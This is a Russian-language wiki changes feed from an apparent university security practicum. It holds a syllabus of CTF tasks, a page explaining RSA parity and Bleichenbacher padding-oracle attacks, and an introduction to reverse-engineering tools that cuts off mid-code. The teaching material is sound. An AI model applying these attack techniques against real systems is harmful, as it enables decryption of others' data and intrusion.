		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2020)&amp;diff=462"/>
		<updated>2021-03-31T20:27:56Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Криптография и криптоанализ */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по четвергам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2020/2021 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main__&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [https://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;s&amp;gt;[[Практикум_на_ЭВМ_(2020)/Бонусное_задание|Бонусное задание]]&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;s&amp;gt;http://club.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 01.12.2020 1:53)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://jpg.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 01.12.2020 1:53)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://hard.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 01.12.2020 1:53)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://bank.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 10.12.2020 1:53)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://corporate.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 10.12.2020 1:53)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://pwnitter.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 10.12.2020 1:53)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://seeker.shanton.ru:8081&amp;lt;/s&amp;gt;, дамп контейнера - https://yadi.sk/d/BV0UynXuOJmnBg (deadline - 23.12.2020 1:53)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://shop.tasks.prak.seclab.cs.msu.ru&amp;lt;/s&amp;gt; (deadline - 23.12.2020 1:53)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://tiny.dong.solutions:28080&amp;lt;/s&amp;gt; (нужно использовать droog@tiny.dong.solutions) (deadline - 23.12.2020 1:53)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;s&amp;gt;[https://drive.google.com/file/d/1ENAVVDKlKIGgELZh6sCaP1wJ4SiOAYwz/view?usp=sharing task 5]&amp;lt;/s&amp;gt; nc tasks.prak.seclab.cs.msu.ru 16965 (deadline 21.12.2020 0:00)&lt;br /&gt;
* &amp;lt;s&amp;gt;[https://drive.google.com/file/d/1ZImdhu0o6KHdCoz6O8n2CD2FWa2Wk0js/view?usp=sharing task 6]&amp;lt;/s&amp;gt; nc tasks.prak.seclab.cs.msu.ru 16966 (deadline 21.12.2020 0:00)&lt;br /&gt;
* &amp;lt;s&amp;gt;[https://drive.google.com/file/d/1R55Q3Czxd4Wu_hVP1lAK2vSkJcxmh9wg/view?usp=sharing task 7]&amp;lt;/s&amp;gt; nc tasks.prak.seclab.cs.msu.ru 16967 (deadline 21.12.2020 0:00)&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
* RSA: [https://khashaev.ru/secsem/rsa/#broadcast broadcast], [https://khashaev.ru/secsem/rsa/#common-sense common-sense] (deadline - 29.03.2021 1:53)&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2020)/Задание_на_блочные_шифры|Задание на блочные шифры]] (deadline - 07.04.2021 1:53)&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
=== Мобильные приложения ===&lt;br /&gt;
&lt;br /&gt;
Обход проверки root-доступа [[Root_check_bypass]]&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (17 сентября 2020) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (24 сентября 2020) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (1 октября 2020) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (8 октября 2020) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (15 октября 2020) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (22 октября 2020) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (29 октября 2020) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (5 ноября 2020) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
Семинар 9 (12 ноября 2020) [[Бинарные_уязвимости/Stack_overflow]]&lt;br /&gt;
&lt;br /&gt;
Семинар 10 (19 ноября 2020) [[Бинарные_уязвимости/Off-by-one]]&lt;br /&gt;
&lt;br /&gt;
Семинар 11 (26 ноября 2020) [[Бинарные_уязвимости/House-of-force]]&lt;br /&gt;
&lt;br /&gt;
Семинар 12 (3 декабря 2020) [[Бинарные_уязвимости/cve-2019-5782]]&lt;br /&gt;
&lt;br /&gt;
=== Уязвимости мобильных приложений ===&lt;br /&gt;
&lt;br /&gt;
Семинар 14 (10 декабря 2020) [[Уязвимости_мобильных_приложений/1]]&lt;br /&gt;
&lt;br /&gt;
Семинар 15 (17 декабря 2020) [[Уязвимости_мобильных_приложений/2]]&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
Семинар 1 (15 февраля 2021) [[Введение в практическую безопасность (2019)/Асимметричная криптография на примере RSA]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (1 марта 2021) [[Криптография/Блочные шифры. Атаки на блочные шифры]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (15 марта 2021) [[Криптография/Атака Padding oracle на RSA]]&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_Padding_oracle_%D0%BD%D0%B0_RSA&amp;diff=461</id>
		<title>Криптография/Атака Padding oracle на RSA</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_Padding_oracle_%D0%BD%D0%B0_RSA&amp;diff=461"/>
		<updated>2021-03-31T20:27:22Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: Новая страница: «==Мультипликативное свойство RSA== Пусть E(M) - функция шифрования, N - модуль, X mod Y - остаток от…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Мультипликативное свойство RSA==&lt;br /&gt;
Пусть E(M) - функция шифрования, N - модуль, X mod Y - остаток от деления X на Y. Тогда:&lt;br /&gt;
&amp;lt;pre&amp;gt; E(M1)E(M2) mod N = E(M1M2 mod N)&amp;lt;/pre&amp;gt;&lt;br /&gt;
Данной свойство очевидно выводится из определения функции шифрования E(M).&lt;br /&gt;
&lt;br /&gt;
==Pairing Oracle==&lt;br /&gt;
Разберем следующи пример: пусть есть сервис по заказу яиц. Но он позваляет заказывать только четное количество яиц. Заказы принимаются в зашифрованном RSA виде. Нужно, имея подлушанный зашифрованный текст C, получить его дешифрованный текст M.&lt;br /&gt;
&lt;br /&gt;
Атака выглядит следующим образом: пусть M &amp;lt; N. Можно послать сервису заказ на &amp;lt;code&amp;gt;2M mod N&amp;lt;/code&amp;gt; яиц (для этого нужно послать &amp;lt;code&amp;gt;(C*2^e) mod N)&amp;lt;/code&amp;gt;. Тогда есть два варинта:&lt;br /&gt;
# &amp;lt;code&amp;gt;M &amp;gt; N/2&amp;lt;/code&amp;gt;, тогда &amp;lt;code&amp;gt;2M mod N = 2M - N&amp;lt;/code&amp;gt; - нечетное число, сервис не принимает заказ&lt;br /&gt;
# &amp;lt;code&amp;gt;M &amp;lt;= N/2&amp;lt;/code&amp;gt;, тогда &amp;lt;code&amp;gt;2M mod N = 2M&amp;lt;/code&amp;gt; - четное число, сервис принимает заказ&lt;br /&gt;
Аналогичные суждения можно сделать, домножая C на 2^ie mod N (где i - натуральное число) и, используя метод двоичного поиска, выяснить, чему же равно M.&lt;br /&gt;
&lt;br /&gt;
==PKCS#1 v1.5==&lt;br /&gt;
Согласно этому стандарту, паддинг текста, длина которого недостаточна для шифрования происходит следующим образом:&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#B22222&amp;quot;&amp;gt;0002&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;3572e4bcc8df4c7e53f931c1d79addcc3d0412db8723e28c84a5f6340d0f95f9836b07907669f2527&lt;br /&gt;
eda22e1f80e6e2e4dac062326f5716fca45&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;00&amp;lt;/span&amp;gt;4c65616b696e672070617269747920616c6c6f777320666f7&lt;br /&gt;
22064656372797074696e6720612077686f6c652052534120656e63727970746564206d6573736167650a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#B22222&amp;quot;&amp;gt;0002&amp;lt;/span&amp;gt; - первые два байта определяют тип падинга&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;3572e4bcc8df4c7e53f931c1d79addcc3d0412db8723e28c84a5f6340d&lt;br /&gt;
0f95f9836b07907669f2527eda22e1f80e6e2e4dac062326f5716fca45&amp;lt;/span&amp;gt; - ненулевые случайные байты&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;00&amp;lt;/span&amp;gt; - сепаратор, после которого идёт собственно сам текст&lt;br /&gt;
&lt;br /&gt;
==Атака Блехенбахера== &lt;br /&gt;
[https://disk.yandex.ru/i/-_ohdI9lqwgqyg| Ссылка на описание атаки]&lt;br /&gt;
&lt;br /&gt;
==Ссылки==&lt;br /&gt;
* [https://youtu.be/J8j2LHiKS0I Видео лекции]&lt;br /&gt;
* [https://docs.google.com/presentation/d/19sGLccnP5IcVm3l3ie3UJZ_nMTxu62SMCFHCd_M2fFc/edit?usp=sharing Презинтация лекции]&lt;br /&gt;
* [http://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf Оригинал статьи по атаке Блехенбахера]&lt;br /&gt;
* [http://secgroup.dais.unive.it/wp-content/uploads/2012/11/Practical-Padding-Oracle-Attacks-on-RSA.html Ещё одна статья про padding oracle]&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2020)&amp;diff=346</id>
		<title>Практикум на ЭВМ (2020)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2020)&amp;diff=346"/>
		<updated>2020-11-09T14:47:55Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Веб */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по четвергам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2020/2021 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2020)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (17 сентября 2020) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (24 сентября 2020) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (1 октября 2020) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (8 октября 2020) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (15 октября 2020) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (22 октября 2020) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (29 октября 2020) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (5 ноября 2020) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=345</id>
		<title>Бинарные уязвимости/Инструменты поиска бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=345"/>
		<updated>2020-11-09T14:47:49Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: Новая страница: «== strings ==  Выводит константные строки, которые есть в бинарнике. Строки определяются эврис…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== strings ==&lt;br /&gt;
&lt;br /&gt;
Выводит константные строки, которые есть в бинарнике. Строки определяются эвристикой, поэтому часто бывают ложные срабатывания. IDA тоже умеет определять строки.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strings reverse_example_1&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
__gmon_start__&lt;br /&gt;
_Jv_RegisterClasses&lt;br /&gt;
_ITM_registerTMCloneTable&lt;br /&gt;
MD5_Final&lt;br /&gt;
MD5_Init&lt;br /&gt;
MD5_Update&lt;br /&gt;
libc.so.6&lt;br /&gt;
fopen&lt;br /&gt;
__stack_chk_fail&lt;br /&gt;
fgets&lt;br /&gt;
malloc&lt;br /&gt;
stderr&lt;br /&gt;
fwrite&lt;br /&gt;
__sprintf_chk&lt;br /&gt;
__libc_start_main&lt;br /&gt;
free&lt;br /&gt;
GLIBC_2.3.4&lt;br /&gt;
GLIBC_2.4&lt;br /&gt;
GLIBC_2.2.5&lt;br /&gt;
OPENSSL_1.0.0&lt;br /&gt;
D$(1&lt;br /&gt;
T$(dH3&lt;br /&gt;
AUATH&lt;br /&gt;
D$h1&lt;br /&gt;
|$hdH3&amp;lt;%(&lt;br /&gt;
x[]A\A]&lt;br /&gt;
AWAVA&lt;br /&gt;
AUATL&lt;br /&gt;
[]A\A]A^A_&lt;br /&gt;
%02X&lt;br /&gt;
./cd-key.txt&lt;br /&gt;
failed to open CD key file&lt;br /&gt;
failed to read CD key file&lt;br /&gt;
invalid cdkey&lt;br /&gt;
Good job!&lt;br /&gt;
;*3$&amp;quot;&lt;br /&gt;
.shstrtab&lt;br /&gt;
.interp&lt;br /&gt;
.note.ABI-tag&lt;br /&gt;
.gnu.hash&lt;br /&gt;
.dynsym&lt;br /&gt;
.dynstr&lt;br /&gt;
.gnu.version&lt;br /&gt;
.gnu.version_r&lt;br /&gt;
.rela.dyn&lt;br /&gt;
.rela.plt&lt;br /&gt;
.init&lt;br /&gt;
.plt.got&lt;br /&gt;
.text&lt;br /&gt;
.fini&lt;br /&gt;
.rodata&lt;br /&gt;
.eh_frame_hdr&lt;br /&gt;
.eh_frame&lt;br /&gt;
.init_array&lt;br /&gt;
.fini_array&lt;br /&gt;
.jcr&lt;br /&gt;
.dynamic&lt;br /&gt;
.got.plt&lt;br /&gt;
.data&lt;br /&gt;
.bss&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== strace ==&lt;br /&gt;
&lt;br /&gt;
Выводит трассу системных вызовов. Полезно, чтобы определить, какие файлы читает программа, и как вообще взаимодействует с внешним миром (в том числе сеть).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strace ./reverse_example_1&lt;br /&gt;
...&lt;br /&gt;
openat(AT_FDCWD, &amp;quot;./cd-key.txt&amp;quot;, O_RDONLY) = 3&lt;br /&gt;
fstat(3, {st_mode=S_IFREG|0644, st_size=24, ...}) = 0&lt;br /&gt;
read(3, &amp;quot;AAAAA-BBBBB-CCCCC-DDDDD\n&amp;quot;, 4096) = 24&lt;br /&gt;
write(2, &amp;quot;invalid cdkey\n&amp;quot;, 14)         = 14&lt;br /&gt;
exit_group(1)                           = ?&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IDA Pro ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный дизассемблер и декомпилятор.&lt;br /&gt;
&lt;br /&gt;
=== Шорткаты ===&lt;br /&gt;
&amp;lt;center style=&amp;quot;font-size: 500%&amp;quot;&amp;gt;&lt;br /&gt;
{{клавиша|F5}}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
==== IDA ====&lt;br /&gt;
* {{клавиша|P}} — создать функцию, начиная с текущей позиции курсора&lt;br /&gt;
* {{клавиша|F5}} — декомпилировать функцию&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору (например, перейти к функции или массиву)&lt;br /&gt;
* {{клавиша|Esc}} — назад (противоположность {{клавиша|Enter}})&lt;br /&gt;
* {{клавиша|X}} — показать ссылки на то, что под курсором (на функцию, переменную, строку, etc.)&lt;br /&gt;
* {{клавиша|C}} — переопределить байты, начиная с курсора, как код.&lt;br /&gt;
* {{клавиша|D}} — переопределить байты, начиная с курсора, как данные (последовательные нажатия переключают размер переменной byte-word-dword(-qword))&lt;br /&gt;
* {{клавиша|A}} — переопределить байты, начиная с курсора, как строку&lt;br /&gt;
* {{клавиша|R}} — переопределить число в инструкции как строку (&amp;lt;code&amp;gt;mov rdx, 335F47414C465Fh&amp;lt;/code&amp;gt; -&amp;gt; &amp;lt;code&amp;gt;mov rdx, &#039;3_GALF_&#039;&amp;lt;/code&amp;gt;)&lt;br /&gt;
Неплохой [https://radare.gitbooks.io/radare2book/content/debugger/migration.html#shortcuts список] из доков по radare2.&lt;br /&gt;
&lt;br /&gt;
==== Hex-Rays ====&lt;br /&gt;
* {{клавиша|N}} — переименовать&lt;br /&gt;
* {{клавиша|Y}} — поменять тип&lt;br /&gt;
** Может показаться, что с помощью {{клавиша|Y}} можно и переименовать, или с помощью {{клавиша|N}} задать тип, однако это не так&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору&lt;br /&gt;
* {{клавиша|Esc}} — назад &lt;br /&gt;
* {{клавиша|Tab}} — перейти к данному месту из декомпилированного в дизассемблированный код и обратно&lt;br /&gt;
&lt;br /&gt;
[https://www.hex-rays.com/products/decompiler/manual/interactive.shtml Полный список] на официальном сайте.&lt;br /&gt;
&lt;br /&gt;
== gdb ==&lt;br /&gt;
&lt;br /&gt;
С &#039;&#039;&#039;gdb&#039;&#039;&#039; можно познакомиться по любому туториалу в интернете.&lt;br /&gt;
&lt;br /&gt;
Однако в отладке приложений без исходников есть некоторая специфика, и тут могут быть особенно полезные такие команды:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;b * 0x400155&amp;lt;/code&amp;gt; - поставить брэйкпоинт на адрес.&lt;br /&gt;
* &amp;lt;code&amp;gt;p (char*)$rdi&amp;lt;/code&amp;gt; - напечатать как строку содержимое памяти, на которую указывает регистр &amp;lt;code&amp;gt;rdi&amp;lt;/code&amp;gt;. См. также [https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI статью про соглашения вызовов на Википедии].&lt;br /&gt;
* &amp;lt;code&amp;gt;help x&amp;lt;/code&amp;gt; - почитать справку по команде &amp;lt;code&amp;gt;x&amp;lt;/code&amp;gt;, которая очень полезна для изучения содержимого памяти.&lt;br /&gt;
* &amp;lt;code&amp;gt;x/10i $pc&amp;lt;/code&amp;gt; - посмотреть несколько инструкций вперед.&lt;br /&gt;
* &amp;lt;code&amp;gt;layout asm&amp;lt;/code&amp;gt; - переключиться в псевдографический режим с листингом ассемблерных команд.&lt;br /&gt;
&lt;br /&gt;
== Примеры с занятия ==&lt;br /&gt;
&lt;br /&gt;
Бинарники, которые были рассмотрены на семинаре: [[Media:2020_reverse_examples.zip]].&lt;br /&gt;
&lt;br /&gt;
Исходник первого примера: [[Media:2019 reverse example 1.c]]&lt;br /&gt;
&lt;br /&gt;
Пример валидного ключа: &amp;lt;code&amp;gt;AAAAA-BBBBB-CCCCC-B334C&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Алгоритм проверки ключа на Python:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import string&lt;br /&gt;
import hashlib&lt;br /&gt;
&lt;br /&gt;
def validate_key(s):&lt;br /&gt;
    if len(s) != 23:&lt;br /&gt;
        return False&lt;br /&gt;
&lt;br /&gt;
    for i, c in enumerate(s):&lt;br /&gt;
        if i in (5, 11, 17):&lt;br /&gt;
            if c != &#039;-&#039;:&lt;br /&gt;
